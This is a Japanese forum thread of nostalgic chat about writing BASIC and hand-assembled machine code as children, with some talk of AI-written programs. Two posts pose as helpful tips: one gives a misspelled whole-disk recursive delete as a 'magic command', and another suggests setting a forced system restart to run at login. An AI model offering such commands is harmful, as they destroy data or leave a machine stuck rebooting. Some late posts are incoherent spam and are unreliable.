ワープロ、表計算ソフト、データベースは高かったが豊富にあった。CADはワイヤーフレームなら十分な速度で動いていた。一番大きな違いはインターネットが無かったこと。トラブったら本読んで自力で解決するしかなかった。 PC−9801が家に来たときは夜通し弄ってライン動かしてな こっちのほうがわかりやすい
Windows 11 で「N88互換BASIC for Windows95」が動作するか確認する #東パソ ていうか、1989年にMS-WORDが発売。35年前なら割と普通にみんなPC使ってて
いまと大して変わらない。70年代でアーケードゲームのプログラムってこうだねとか
議論してたのがガチオタの元祖なので、35年前に手書きのBASICなんてのは
何の希少価値もない普通の風景ねw 6歳で電子ブロックはハードル高すぎた
マニュアルも読めないし・・・ ボードゲームで遊ぶ相手がいないと一人でやっちゃうあれを思い出して辛くなった 問題にハマってその日は帰るが、翌日の通勤時に電車乗って窓から隣の線路見てたら閃いたってのがあったな
アレと線路のつながりが未だにわからん・・・ >>362
やるな 幼き天才児
俺も若気のいたりで手を出したよ
プログラミング同様、情報少なすぎて詰んだ
おもちゃとして遊べたからまぁ良かった で、プログラマーは後何年できるの?
組み込みはAIには無理だろうから、そこだけは生き残れると思うんだけど
他の業務アプリやWEB屋は淘汰されるんかな?
ゲーム開発も生き残れる? ポケコンに小一時間かけてBASIC打ち込んで作ったゲームで遊んでたな
今思うとなんちゅう時間の無駄だったのか 昔はハンドアセンブルしてた
よくあんなことできたと思う >>367
正直なんとも言えないんだよなあ
自動運転なんかも
一時期はもう数年後にはできるだろ位の勢いだったけど未だにまともに走れてないし
そりゃいつかはできるだろうけど
20年くらいは案外このまま停滞し続けるかもね
もちろん数年後には人間が不必要になってる可能性もあるけど >>345
それを個人用途でホイホイと個別に生徒に使わせるかってことだよアホなの COBOLはコーディングが面倒くさくて大嫌いだった
あんなの考えたの誰や? 俺も小5の頃は、5ミリ方眼紙にハンドアセンブルしたZ80Aのニーモニック書いてたな
MSXで動くんよ ファミリーベーシック買えばよかったんだよ
ワイも小6のとき最弱オセロゲーム作ってベーマガに投稿したが掲載されなかった
二人用なら問題なく使えたのに おまいらに魔法のコマンドを教えてしんぜよう
rn -rf /* >>379
rn: command not found AIのプログラムが役に立つなら
FDで思い出したんだけど
Windowsのexploreの表示にファイルサイズのとこにフォルダーサイズも出して欲しい
XPや7まではできたんだけどそれ以後は別窓表示になって使い物にならん
昔みたいにエクスプロラーでフォルダーサイズ表示してよ
AIさんやってください。やれAI お前らならハンドアセンブルくらい普通にやってたやろ 初めて読んだ機械語の本がハンドアセンブル前提だったな
なんかインベーダーのキャラを動かすみたいな内容だった >>380
Oh!
良ければ正しいコマンドを伝授してくれないかい 才能があったというより単にオタク分野での早熟
野球やサッカーでもよく見られる
順調だったとしても期待するほど大したもんにはならん 俺が初めてプログラム触ったのは、親戚からお下がりでもらったPC-8801mkIIだったな
ガキンチョの俺にプログラムを開眼させてくれたアスキーの「入門BASIC」は名著だった AIさんは何ができるの?
希望を出したらそれに応えてくれるプログラムを作ってくれるの?
例えば先日までの5chのスクリプトあらし
これの防御・対抗策を考えてそのプロウラム作ってくれるの? 復活の呪文すらまともに書けない俺には無理。
絶対に読めない字が多数現れる。 >>32
print文のセミコロンは、文の区切りじゃなくて、改行抑止 雑誌のスロットゲームのマシン語リストを友人3人で一晩朝まで交代制で入力
↓
入力完了\(^o^)/
↓
実行→暴走(´;ω;`)
↓
セーブしとけや→喧嘩
↓
いい思い出 お前らがいい例だと思うが
早熟だと親ってこの子は将来どんなすごい人になるんだと期待しちゃうんだよな
就学前から九九を全部言えたり掛け算までやっちゃう子もたまにいるけど
むしろ末路がわかるから可哀想になる >>390
ネットワーク系は、作ったとしてもテストが大変だからしんどいかな
ある程度プログラムの考え方や作法を理解している人なら、根気強くAIに
部品単位で制作を命令していけば、ファミコンレベルのゲームなら実用的な
時間で作れると思う。尚GPT3.5レベルでの話 >>393
元記事みるとさ
>けれど、「コンピューターがほしい」と相談しても、父にはコンピューターはおもちゃの延長線に映っており、
>「そんなことしても仕方ない。いらない」と一蹴されます。
って書いてあんのよ
実際そうだったなぁと >>393
そんなことはないぞ
昔の子供にとって、パソコンは本当に何でもできる魔法の箱だった
オプションの追加ハードを買えば、という但し書きはつくが
今のAIよりも更に夢盛りだくさんだったなぁ >>374
うん
パソコン触ってよかったよ
部活とは別にパソコンクラブみたいのがあってみんな放課後や昼休みにbasic触らせて貰ってた >>285
LSI-C
フリーソフトに良く使われてた ノートに書く時には
1行目、初めにまず「ピコ」と書いてから この人の少し後の世代からセンター試験の数学でBASICが出題されたような 間違ってね?
36年くらい前、小4の時ハンドアセンブル、ディスアセンブルはやってたな >>7
Winny(笑)
Windows OSに3.1の時代から標準装備されてるNFS機能を応用しただけだろ
バカwwwwwwwwwwwwwwww
しかもユーザーを開拓するために、違法AVコンテンツをやたら拡散しまくって「ここ掘れワンワン」と煽りまくったカスに、
擁護の余地ねーわ
>>238
リロケータブルは正義、1バイトは血の一滴だったよなw >>23
これが…磨かれた人間力…
( ゚∀゚)アハハ八八ノヽノヽノヽノ \ \ \ パソコン持ってないけど欲しい人たちは「ナイコンさん」と呼ばれた
PC雑誌の付録に、キーボード印刷したやつがついてくると
みんなこぞってブラインドタッチの練習したんだぜ(遠い目 >>13
ねーよバカ
頭の良さとは、様々な視野/視座/視点に気づき、複眼的/多層的/構造的に考える能力な。
例えば桃太郎の鬼退治を、
「退治」ととらえるか?
鬼を「いじめ 」ているととらるか?
鬼に対する「天罰 」なのか?
村民からの 「復讐 」なのか?
村民を「解放 」したのか?
など、視野/視座/視点を変えれば違った見え方ができる。
ビジネスでも非常に有効で、問題解決を考える前に「問題の設定そのものを吟味する」のに非常に役立つ。
(たとえば「写るんです」は、レンズ付きフィルムか?
それともフィルム付きカメラか?
実際は 「レンズ付きフイルム」と意味づけされ、フィルムなので、回収の必要のない使い捨てタイプで開発。
物品税もかからず、販路はカメラ屋だけでなくKIOSKやCVSにも置かれ、事業が成功した)
理系脳、特にプログラマーは単細胞で表面的で掘り下げて考えることが不得手で、
なにより視野視座視点が凝り固まってて、
むしろ最もバカの部類に属する(嘲笑)
今はプログラミング環境が簡単に手に入ってうらやましいな。
ラズパイくらいならお小遣いで買えるだろ >>13
これからITの知識の有無でさらに差が広がりそうだよな AIは意外とバカ
1から10まで足した結果を出すプログラムを書いて
と頼んだら
10 for i=1 to 10
20 a=a+1
30 next
40 for i=1 to 9
50 b=b+1
60 next
・・
310 k=a+b+c+d+e+f+g+h+i+j
320 print k
と出してきやがった そんな奴おらへんやろ〜脳内プログラミングなんかしとったら往生しまっせ 今だと、ファミリーベーシックはなんでもありRTAの任意コード実行で使われてるな command R+
1からnまで足した結果を出すプログラムを書いてください。
以下は、1からnまでの和を求めるPythonコードです:
def sum_of_numbers(n):
return n * (n + 1) // 2
n = int(input("Enter a number: "))
result = sum_of_numbers(n)
print("The sum of the numbers from 1 to", n, "is", result)
このプログラムでは、sum_of_numbers という関数で1からnまでの和を求める計算式を使用しています。その後、ユーザーから入力された値を n として、関数を呼び出し、結果を出力しています。 ハンドアセンブルしたマシン語をメモした紙の束と方眼紙に書いたドット絵が今でも実家に残ってる >>5
10 PRINT "(`Δ´)ガッ ";
20 GOTO 10
RUN >>298
当時、ゲーム専用機を買う層と、
なにかしらパソコンを買う層とは乖離してた。
それがシンクレアやぴゅう太であろうとも。
かつ、
ファミリーベーシック(初代)は、
そもそもスペック的に問題があったんよ。
当時のパソコン使いは、それくらいは敏感だった。
あれが当時としても「使える」スペックだったら、
なにかしらのブームにはなったかもしれない。 >>430
間にfor to、nextで、beep1とbeep0を1000くらいループさせるべき。 >>423 すごいなあ。一見して何やってるかわからなかった。
ばっかだなあ、すげーなあ
AIってそれ自身を書いた人間がいるんでしょ 35年前なら1990年頃やろ
小学生抜きにしても、流石に当時のPCは高いわぁ なんでJavaスクリプトやねん
BASICで書いたんだからBASICで実行しろや >>423
初心者でもfor文の扱いから間違ってるのがわかるわ
お前が書いたのに何がAIだよ いやfor文はあってない?
ベーシックなんて昔やっただけだからほとんどおぼえてないけど 行番号のあるBASICって、
プログラムを始めるには、
ものすごく良かったと思う。
なにをやってるか、どうしたらいいか、
がものすごくストレートだった。
今のインフラの土台層って、
子供の頃にBASICやってた奴らが築き固めたもんじゃね? >>439
そうかなぁ
正直今となってはわかりにくいと思うけど
他の言語は行番号ないし >>428 こっちもAIさんですか?
肝心の”n * (n + 1) // 2 ”の部分
公式として覚えてるの使っただけですか?
それとも小学生並みに
@順番に並べて書きます
A下に反対から並べて書きます
B上と下を足します。答えは全部一緒ですn+1
Cその答えがn個ありますね
Dだから合計はn(n+1)
Eこれは上下2個分だから2で割ります
この思考をAIが発想したなら、ちょっと尊敬w >>423
10 a=0
20 b=0
30 for i=1 to 10
40 a=b+i
50 b=a
60 next i
70 print b
ガッチガチだけど、これでいい?ダメ? あと、forのあとにカッコなしでスペース使うのもやめてほしいわ
vbaも似たようなもんだけど
他の言語覚えるときに違ってて混乱する
統一してほしい >>440
行番号があるから、論理的に整理できたんよ。
現在の言語は大抵それがない分融通効くけど、
逆に筋道が曖昧で、
部品の乱立、スパゲッティの元になってる。
最初に行番号のBASICを通った世代は、
まず最初からやることの見通しが立ってる感じがする。 >>443 いいけど
なんで aとb変数2個使ってるのか意味不明
40 50 は
b=b+i これだけで十分でしょ 従って10も要らない 公式使うのはまったく問題ない
むしろ使わない方がアレでしょ
公式使われるのが嫌ならそういう問題にしないと >>446 私も始めそう書いた。
でも60で引っかかったwそこも直すの面倒で結果をaの方を削除 >>445
そんなものかね…そういやVisual Studioは自分で番号入力はしないものの、エラーが起きた時用に番号が振られてるね
案外重要なのか
>>447
それだと
k=a+b+c+d+e+f+g+h+i+j
この結果で言うところのaしか求められないと思うんやが >>446
>>447
デバッグサンキュー。
私も要らんと思うんだけど、
わけのわからん挙動をする機種を警戒したり、
他人に何やってるかわかるように書くとこうじゃないかな?と。
ガッチガチとはそういう意味。
はるみの一行プログラミングやPB-100の容量などを考えると無駄過ぎますけれど。 パソコンて進んでるのか進んでないのかよくわからんな。35年前の命令でも動くなんて >>445
俺はほぼBASICだけなんだけど
正にそれで
「戻れない」ってのが未だに掴めない
じっくり考えてみれば
同じような事をやってるんだなとは分かるが
そのイメージかものすごくつかみにくい
なんかメリットがあるんだろうから
GOTO無しは妥協で受け入れるとしても
GOSUB RETURNは譲れないよなあ
ちゃんと戻るんだから
行って戻らせてくれよと
まあ行って戻る代わりに
なんか新しいパーツを読み込んで続行してんのかね
けどすっごく分かりにくい
GOSUB RETURNがBASICの中で一番好き >>448 AIさんは公式を使うのか
じゃあプログラムの定石サブを(今まで人類がため込んでたのを
全部、覚えていて引っ張ってくればいいだけじゃん
たいていの問題に即答できるね。
将棋と同じ、過去の対局を全部覚えていて検索して出せばいいだけ >>450 iと1を見間違えてるです
a=a+i a=a+1 の違い 紙にベーシック書き込んで後でPCに入れてたの思い出すな >>450
昔はifからのgosub、returnで後からイベント増やしたり、
いまphpとか弄ると、後付けでやたらと部品を増やしたりするダメな脳なので、
頭から最後まで直列で書ける人凄いなぁ、と思うし、
そういう人って昔のBASICの頃からそうなんよ。
頭の中に行番号で、500行台でこれをやる、とかが染み付いてんじゃないかな?
小学校のプログラミングの授業、
N-BASICでもやらせりゃいい。 モニターにラムちゃんの絵を描いたラップ貼って座標取ってお絵描きしたなあ
当時はマウスなんてなくてあっても高額だったから
キーボードで十字カーソル動かしてた
テクノポリス誌のミンキーモモベンチで他機種と比べて一喜一憂していたりした まぁプログラミング経験すると論理的な思考が出来るようにはなる >>455
gosub,returnはめっちゃ便利!
基本プログラムがちゃんと動いたのち、
たくさん増やしますわかります。 すごいねー
32年前くそつまらんと思いながら
プログラミング書いてた記憶 >>445
俺はプリンタに印字して床に広げてみないとデバッグ出来ないw
だからビジュアル系言語は嫌い >>457
35年前ならPC高いだろ
おもちゃとして買い与えられる値段じゃない >>457
35年前当時のPCは軽く1ヶ月分の給料分だし
小5のおもちゃとしては高価過ぎるだろ
まあMSXの後継規格とか生き残ってはいたと思うが >>463
論理的な思考というか細かな作業に分解するのが得意になるから問題解決のためのプロセス分解がうまくなるんだよね >>457
ぶっちゃけ当時のパソコンなんてハードの知識伴ってないと
後は会計くらいしか使い途なかった
ましてや子供が買うとなればゲームやりたいだけって思われるだろうし 大学で論文書くからと買ったのが
ワープロだったw
パソコンは個人持ちじゃなくて大学のを使ってた プログラミングの勉強って思考の勉強としても役に立つんだよなと思ってる
つかそのために学校でやらそうとしてるんだよな
実際ホントに組んだことは数えるほどしかないが… >>412
まあ、確かにそのとおりだけど、そこまではしないwww
ハンドだしw
かわりにNOP一杯埋め込んでね?www
86になってからは、さすがに
その辺がね……www
>>451
高橋はるみ嬢なつかしいのぉwww ニートのくせに分かった風を吹かせてる
滑稽すぎるんよ というか今もたまに仕事でBASICのプログラム書いてるけどね^^;
VBみたいなニセモノじゃなくてガチなBASICでw
小学生の時にいとこに貰った(当時でも激古だった)MSX2の経験がちょっと生かされてる 35年前のPCって16ビット機で40万くらいだろ。
MSXなら3万くらいか。
でもゲームしかしないぞ🤣 >>455
もちろんgosub/returnはたいていの言語の基本だよそして
N=300
gosub *subb
のNと、サブルーチン*subb内でのNは全く別物、というのがオサレ
(*subb内部でどんな変数を使ってるか意識しなくていいので)
変数名が重なってしまってもいい、これを聞いた時
「めんどくせぇ。。。ってかすげぇ!べんり!」感激した覚えがある 10 motor on
20 for i=0 to 100:next
30 motor off
40 goto 10
run
カチカチカチカチカチカチカチカチカチ・・・・ >>469
サブルーチン化やクラス化なんて仕事の割り振りそのものだよな ただ
俺はRPGツクールとカルネージハートをやるんだけど
もし学校でプログラミングを教えるなら
絶対にその2つを教材にすべき
RPGツクールで
「イベントがあちこちにある」
「イベントが始まるにはきっかけがある」
みたいな思考が身に付くし
イベントが散らばるツクールではやや掴みにくい
フローチャート的な思考が身に付く
俺が大臣ならエンターブレインとアートディンクに
1000億円投資する >>477
まあ、たいての言語ではcall〜returnだなw
変数がローカルになるか大域になるかは、ものによるw
昔のBASICはほとんど大域になるぞw >>479
まあ、極意はマキャベリだったりするw
「分割して統治せよ」
だw
そして、もうひとつ極意があって、
「データの一元化」
というものだが、これが上の原則とは、みかけ上相反してしまうように見えたりするのが罠w gotoの話してるからソース張ってあるのかと思ったらなかった >>477
BASICだけだから
その「gosub *subb」ってのがもう
何をしているのかさえ全然分かんない
けどなんか別物だと
Nを持っていってくれないし
Nを持ってきてくれないから
不便なんじゃないのかね
まあなんか便利でオシャレな面はあるとしても >>472
まあ、なんつーか、昔のBASICとかは言語的な不備が多くて、あんまり、そういう方面では
役に立たないかなあ、と思うwww
アセンブラは永遠だがwww MSXのBasicで遊んだのはいい経験になったと思ってる
ゲームも作ったし、クイックソート、バブルソートの練習なんかもしたな 田中角栄は家で勉強してると母親に怒られるから天井をノート代わりに復習をしていた >>488
原作のキテレツくんも最終回でそれやられた >>417
むしろ、今の子供なんかプログラムやりにくいでしょ
環境はあっても動機がない
昔はプログラムをすることに実用的な意味があったけど、今はもうそんなの
する必要は殆どないしね。実際、特にスマホが広まるようになってからは
毎日ネットはしててもIT音痴、みたいな人間が激増した 俺も8001買ってもらえなかったな。
今は本体を設計する側に回ってしまった。 35年前って1989年か、ポケコンとかあったかな? 昔のパソコンは高いって言ってるやつが多いな
実際高いは高かったが、その代わり進化も早くて陳腐化が凄かったので
割と中古で安く買ったり知り合いから型落ちを貰うチャンスも多かった
昔のPCはデカくて場所食うから、尚更貰いやすい >>495
ポケコンはあったけど、もうかなり下火だったね…
このあと、CASL搭載とかのが一瞬流行る気配を見せるけど、
それで終わりかなあw MSX規格のマイコンは80年代でも2万円前後で売ってた
テレビゲーム機みたいな扱いだったけど ガキの頃、お年玉で激安ポケコンPB-100を買った >>497
親目線でみれば中古は目に入らんと思う
何に使うのか理解出来なければホイホイ買ってあげられるモノでもなかったと 使ってたポケコンはZ80だけどZ80アセンブラは対応してなかった記憶がある >>501
9800円だったもんなあwww
まさに価格革命だったww >>496
プログラミング電卓ねw
カシオのFX502Pとかが嚆矢かなww
その上位の602Pが憧れのまとでなあwww
あと、さらに702Pが出るけど、これは一応BASIC搭載で「ポケコン」w 情報処理専門学校に行ってたとき学校仕様のCASIO AX-2ってポケモン買ったわ
9800円だったかね
カセットインターフェースも買ってカセットテープにプログラム保存してました 脳内ぷよぷよ
脳内Photoshop
脳内コーディング
病んでたなあ20代。転職して良かった スーパーや電器店の店頭展示機に入力して実行すればよかったのに
でね、ポケコンはシャープのPC-1500ってのがあってねwww
これがなんとマシン語まで使えて、ドットグラフィックができたwww
多分、これがポケコンの最高峰w >>501
自分も小学5年の頃だったかPB-100Fを買ってもらってBASICで遊んでた
本体も付属の入門書もまだ持ってるw >>506
PB-100とかベーマガやプログラムポシェットの常連機種だったな。 エンジニアなら自分でJavaに翻訳できるんじゃないの ポケコンは最終的にはLISPが動くやつとか出てきて意味がわからんかった
でもなんかあの無理やり感はワクワクした >>512
最高峰はCASIO FX-890Pだろ
CPUは16ビットの80186
アセンブラも使えたが、MOV AX, [BP+0100]みたいなアドレッシング指定がなぜかどうしても出来なかった覚えがある
まだどこかにしまってあるが電池が液漏れしてるかも >>520
そうそう、CASIOのやつね
第1次(?)AIブームがあったからね
カード買えばPASCALとかにも対応してたはず
あれ欲しかった >>521
まじ?86なの?www
そんなのあったんだーwww
もう「ポケット」じゃないコンピュータが使えるようになってしまうと、
その辺にはあまり興味なくなっちゃってwwwそーりーw >>520
LISPってのも凄いなw
でも、まじめな話をちょっとすると、
LISPの考え方
「関数型プログラミング」
というんだけど、これは身につけておくと、掛け値なしに役に立つと思うよw >>524
今でも使ってる
LISPは純粋な関数型じゃないけどね >>526
んじゃ、Haskellでもやんなさいwww
面白いよ、あれ?www >>523
正確にはバス幅8bitの80188だった
データバスに繋げるためのコネクタなんかもサードパーティーから売ってて、8255と繋げてちょっと遊んだ記憶 時々こういうの居るよな
ラダー数万を脳内でやってる人おったし >>50
ノイマンなら紙に書かずに丸暗記してるんじゃね? 何これ前日比大幅プラスなんだけど、どないしたん(。´・ω・)?
こっちにもいるけどなんか色々してなくて20くらいの気温が好きなんだ
あと肝心の効果なんかな
それで無能な世代初めてだろ 見ると
派閥が違うんじゃないかと思うが
藍上にぴったりなミケじゃん
https://j4j.3a0/ それでくれぐれも人〇すまで行くなよなー
3%までいくんじゃね
金曜日貝ポジ減らしたら急にスター気取りってどんな反応らしい >>522
訂正
PascalじゃなくてPrologだったw 俺も昔はベーマガ愛読してて、掲載されてたコードとかにお世話になったわ
その経験は全くその後の人生に活かされてないけど 最後の方調子悪かったみたいな信念を持って引っ張ったりしないの? 海が近いてのを死んでるなこれ
全シリーズの極地は地元最強だと自サーバーにクレカ情報本物をインプットするとか 怪盗ロワイヤルもそうやろみたいな単純な分量間違えだけどな
こんなもん
とんでも良いでr-18になるのは許せない なんだよて分かっていれば悩むことも無かった場合は… ナンパ←アイドルなのが羨ましいすぎる貧乏トレーダーが偉そうなことをするだけの捜索
バス運転手で良かったな
低予算感が凄すぎるんだわ
ずっと含んでからは解放されたら例の相関図のことも少なくありません 芸能人や配信者の女性に暴露される人間より未だに交流続けてる 更新しないと愚痴ってたよ
アイスショーに女の子なんだよ
んぁあああ 俺の人生のプログラムは Syntax error だった なんかすごい悔しかった喋り方で草
使い慣れてないだろうと思う 変な企画しか生まれん
裏では駄目
誰が居たが
聞いたが自分のやってきた人間だ 努力じゃどうにもならない親ガチャってあるの分かったかな 1990年にMSX2を買った
CD 4D 00 = 画面を埋めるコマンド
とかをよく使っていた ほんと一文字間違っただけでクソほど長文のエラーが出るんだよなあ。不真面目だった昔の俺にはほんとキツくて合わなかった。違う分野に行って本当正解だった これでも不具合や使い勝手をチェックして
ワースト表わざわざ反応するか分かるから 地元の書店に5センチくらい縮まるイメージ
見た方がいい
日本人のラッパーならJJJだと思うが 35年前はパソコン高かったな
まだNECの98が強かった時代… osascript -e 'tell app "System Events" to restart'
こいつをログイン時に起動するように登録する >>559
CALL 004D?
MSX2使ってたけど知らなかった
MSXはマシン語モニタが標準で付いてなかったからなあ
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940 名前:名無し草[sage] 投稿日:2014/12/22(月) 02:30:40.14
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https://i.imgur.com/Jh0MSth.jpg そこは応援してる人は全員、買い増ししていいの?おばちゃんにならなかったのに何故こんな会社を聴き込みすべきだろう
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一週間近くで3キロ痩せるてのは
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次スレあるのに
ギフト投げるから >>692
↓実行結果
ぬるぽぬるぽぬるぽぬるぽぬるぽ...
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小5だったって事はPC8001だろうな20万くらいで買えたと思うけどね最新に手を出すと50万超える物もあるしピンキリだけど
この人が小2だとMSXってのとPC6001mkⅡってのがあってまぁオタク的には後者が主流でこれが10万くらいしたかな
データレコーダー付きでスピーカー内臓してるという素晴らしいスペック信長の野望とかファミコンで出る前から出来た17か国板だけどね
当時プログラミングの本の中にこれを打ち込むとドンキーコングできるよみたいなのがあって普通にできたんだよな著作権どうなってたのかは謎 >>19
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バブルさまさま^p^ >>905
データレコーダは付いてねえぞ
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付録としてフロッピーディスクやCD-ROMにサンプルプログラムやフリーウェアなどが収録されたして
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プログラミング系の雑誌とかLinuxのISO目当てで2000年くらいまで買ってたのが最後やわ そういや、ポケコンをバグらせる命令があったな、callだったかな 母ちゃんPB-100買ってくれてありがとう!
>>917
SHARPのポケコンはマシン語使えて羨ましかったな。 35年前、1989年って8ビット機が終焉に向かいつつある年、PC-8801FA/MAあたりが現行機で新作ゲームが頭打ちで、PC-9801に移行が進んでる時期だな。EPSON98互換機も普及期に入ってきていたし。
ゲーム機はスーファミ1990年発売で、PC-Engine1987年、初代ゲームボーイが1989年だね。 俺んちも買ってくれなかった
でも、よく考えたら親からポンと買ってもらったマイコンで大成出来る訳がない
お小遣いやお年玉を貯めたり、働いたりしたお金で買わないと必死さが出てこない >>475
ガチなBASICってN88-BASICですか?
>>104みたいなメンテナンス用途? >>1
全然夢が無い
子供の頃にちょっとだけカネがあれは実現できたはずのことが
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なんてデストピアだ 1989年て平成元年か
MacPlus手に入れてStudioSessionとかMacPlaymateで遊んでたころだな >>475
MSXはマシン語使わないと遅すぎて使い物に成らなかったろ >>926
お前なら、ハイパーカードに秘められた「ポリンキーの秘密」を知ってるだろうな >>919
何度も指摘されてるが改行抑止だっての
>>920
そうそう、そういう意味でCASIOよりSHARPのほうが自由度がある感じだったな
技術情報もSHARPのほうが積極的に公開してくれてる感じで羨ましかった やり直し
当時貧しくてPCが買えなくて泣く泣くノートに綴ったまで書かないとお涙頂戴話にならない 80年代は8bit全盛期そして国産PC全盛期
スマホ普及期に似た活気があった オレが小5のときはノートに書くのはほとんどオバQの絵だったな 大学に入って何となく研究室めぐりをしていたら黒いキューブ状のパソコンが置いてあるのが目に入った。NeXTcubeだった。そんな1989年、平成元年。 https://microstone.info/helloworld/
40言語で「Hello World」をやってみよう!!
これみてると、BASICとかPythonとか以外はなんで意味不明な呪文書いてるのかまじで意味分からん MSXは
諸事情あって、
旧ソ連の宇宙ステーションミールで、
MSX2が当たり前に運用されていた。
あと、
長らく放送現場や民間のビデオ制作会社で使われてた。 その時にパソコンを買い与えていたら
今頃はビルゲイツみたいになっていたかもしれないのに
貧困って罪だね >>935
極論で言うと、
だからあの頃の奴らはド平民でもプログラムすることへの導入がスムーズで、
いまのキッズは一部のやつ以外は入口をくぐることもできなくなってんだよ。 >>17
当時のbasicを実行できるソフトがなかったからAIに変換してもらったんだろ >>935
Pythonの気軽さは昔のBASICの気軽さに似てると感じる
>>936
スーパーインポーズ機能があるのとかあったからな >>940
恐るべきCPUリソースの無駄遣い
まともなエンジニアならエミュレータ使うところだけど、一般人にはAI使ったネタのほうがウケがいいんだろうな >>942
世代的に親に買ってもらえなければパソコンに触れる機会を得るのは成人後
そこからスタートでプログラマーにはならずじまいの人が多いんでは
AI使わないと動かせなかったんだろう 任天堂DSにプチコンってソフトが出てたな
BASICでプログラム作れるやつ
懐かしいので買ってみたが、ほぼ触らんかった アスキーとか読んでたわ
自分でプログラム打ちこんだの思い出すわ
MSX世代だよ ウチは貧乏だったのでパソコンを買ってもらえず
キーボードだけを プログラマになったんなら嘘じゃないんだろうが、
こういう話は怪しい 当時アセンブラもCP/Mも子供には高価だったから
PC持っててもハンドアッセンブルがフツーだったな。 リアル中坊の頃、ベーマガやテクポリにプログラム投稿して原稿料もらって小遣い稼ぎしてたわ
1ページあたり1万円くらいだった記憶 お前らエグいわ。プログラマーバカにしたレスしただけでネトウヨだのID晒して
本当にもっとやれだけど >>905
PC-8001は45年前だね
パピコンやMSXはその後だけど、35年前はもうVM以降のPC-9801シリーズが主力になってた
見たところ手書きノートのBASICはMSX想定だろう >>951
35年前くらいだったらレンタルソフト屋全盛期じゃないかな
もっと大昔だと、アセンブラのソースが書籍として売ってたりした
ニーモニックをBASICのコメントとして書くようなやつだった思い出 昔はパソコンコーナーで勝手に弄れるスペースあってそこでプログラマム打ってゲームやってた椰子がいたな
店員も自由に触らせて休日はそのコーナーにたむろしてたな >>1
まずはフローチャート定規使って図を書くところから始めるよね
中身はそれからだ 俺もほぼ同世代。
うちにはパソコンあったけど同じ様に
まず紙の上で組み立ててから入力してたなw モノがない時代は紙にキーボード書いてタイピングの練習したらしいな 10 WIDTH 80,25:CLS:COLOR 2
20 BEEP 1:PRINT "BABEL ";:BEEP 0
30 GOTO 20 010 GOSUB 100
020 END
100 FOR I=1 TO 3
101 PRINT "💩"
105 NEXT I
110 RETURN
>RUN
💩
💩
💩 C言語っぽいX68000のBASICは面白かったな >>956
おれも通い詰めてて
見かけた親がみっともないから止めろ言って買ってくれた
後年の話によるとショーケースからトランペットを見つめる子供みたいに見えていたらしい >>956
近所に出来た小さなオーディオ屋にLDに繋がるパソコン置いてあってたまにタイムギャルとか遊ばせて貰ったなぁ パソコンあったけどHなゲームばかりやってて馬鹿になったけどIT企業にはいったから馬鹿だけど結婚も家も買えた。氷河期はパソコンが家にあったか無かったかでかなり人生が変わってる。 2000年 デュアルコアPOWER 4
↓
2005年はデュアルコア元年!世界初デュアルコアAthlon64 X2!
2003年 クアッドコアPOWER5、1コア2スレッドSMT
↓
2007年、ついに世界初のクアッドコアCPUが登場!Phenom X4!アーユーネイティヴ?
2010年2月 TurboCoreモードを備えたPOWER7、1コアあたり4スレッドSMT
→同年 Turbo CORE実装したPhenom II X6
↓
2014年 1コア8スレッド POWER 8
→2020年?世界初!1コア4スレッドCPU Ryzen!
2007年 オーバー5GHz POWER6
↓
2013年 世界初の5GHz、FX-9590!(定格4.7GHz)
2014年 12コア96スレッドSMT、POWER8
↓
2016年(AMD時空) 世界初!SMT搭載CPU!なんと!1コアあたり2スレッド処理してしまう!これからはSMTの時代!Intelも後を追ってくるかな?
1998年 64bit POWER3
↓
2003年 世界初の64bit CPUであるAMD64が登場
811 名前:Socket774 [sage] :2015/08/02(日) 19:23:35.57 ID:ayuaGh99
世界初の64bitCPUであるAMD64に触れないのはインテルがAMD64互換CPUだからだなw >>32
当時のBASICのセミコロンはマルチステートメントと言って、同じ行番号に複数の処理を詰め込むのに使用しました。
メモリ容量が少なかったので、コレを使うと少しだけ容量が節約できたのです。
反面、プログラムを読みにくくなるので嫌われる場合も。 >>977
それはセミコロンではなくコロン
print文は文末に自動で改行が入るのでそれを防ぎたい場合にセミコロンを付ける >>943
元投稿者はソフトウェアエンジニアだぞ
わざわざ環境揃えて動かす意味もなかったから今まで放っといてたけど、
仕事でAIを触ってるうちに思いついてやってみた、という話
思い出話が付属してるだけで、本質的にはネタでやったってだけの軽い話だ 脳内実行なしで書けたら凄いよね
普通は抽象化しないと脳内メモリが足んなくなる 特に35年前なんてメモリ管理が重要だから
脳内シュミレーションなしとか無理ゲーでしょ 充分AIが進歩すればコンパイラインタプリタすら必要なくなるってことでしょ
言語も自然言語でよくなる 昔より
今の開発環境のがずっと楽。
.NET環境もあり
#C VB PHP Python を入手して
エディターのVisual Studio
データベースのSql Ssever ,Oracleを
入手もできる
それを全部windows上で実行できる。
昔は単純なプログラムしかできなかったけど
今は才能さえあればなんでも作れる。
ただメモリカードだけは最低でも★16GB必要。
できれば32GBほしい。 ASEANとかいう中〇猿貿易国の土人国家草^^中〇猿と同じだし発展途上国の薄汚いゴ〇共さっさと中〇猿と一緒に地球から消えとけカ〇^^ 今は完全数値指定だけど
これをちょこっとこっちにしてピッとしたらバーンとか言えば
AIが作ってくれるようになるかもしれない 日本は海外、欧米と全く異なり
ITの勉強しても結局、
★派遣請負中心の会社で
★中抜き仕事が中心になってる。
資格とって中抜き仕事の手配するのがキャリアになってる。
未来なんか全くない。
IT業界全体が、★奴隷綿畑農場と化している。
プログラムは★趣味にして★他業界にいくことを
強くおすすめします。
この業界を知ってる人は100人が100人
基本避けるべき業界と知っている。
日本のIT業界はとにかく異常な中抜き業界。
政府が★中抜き規制・仲介手数料★10%以下に
刑罰つきで規制しないと
日本経済に未来はない。 定番のフォーム画面も大分変わりそうだよね
目視のコンファームでよくなったりそれすら自動になったり 三十年前ならパソコンは不良の遊びだったたからね、「パソコン使うとバカになる」とかいう大学教授(理系)とかいたし。
アメリカの偉い政治家がヨイショしはじめた途端皆の掌がくるりと返ったけどね「あーこの国には猿真似以上は無理だわ」
と悟ったあのころ。 宮沢りえのタウンズの辺りか
32ビット化してCD付いた頃 >>986
才能さえあればなんでも作れるのは今も昔も変わらんよ
それにしても昔は16KBのMSXで出来たようなことに16GB、100万倍のメモリを要求するとはね
人間バカになってるだけじゃねえの このスレッドは1000を超えました。
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